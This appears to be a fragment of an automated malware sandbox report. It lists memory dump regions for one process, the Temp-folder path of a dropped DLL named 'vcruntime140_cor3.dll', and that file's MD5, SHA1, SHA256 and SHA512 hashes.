memory/1816-692-0x00000000059A0000-0x0000000005CF4000-memory.dmp

memory/1816-693-0x0000000005F40000-0x0000000005F5E000-memory.dmp

memory/1816-694-0x0000000005FC0000-0x000000000600C000-memory.dmp

memory/1816-695-0x00000000075C0000-0x0000000007C3A000-memory.dmp

memory/1816-696-0x0000000006420000-0x000000000643A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.net\Launcher\2GKYO0rdGExq8GcmtavgHE9fuBneA+A=\vcruntime140_cor3.dll

MD5	caf9edded91c1f6c0022b278c16679aa
SHA1	4812da5eb86a93fb0adc5bb60a4980ee8b0ad33a
SHA256	02c6aa0e6e624411a9f19b0360a7865ab15908e26024510e5c38a9c08362c35a
SHA512	32ac84642a9656609c45a6b649b222829be572b5fdeb6d5d93acea203e02816cf6c06063334470e8106871bdc9f2f3c7f0d1d3e554da1832ba1490f644e18362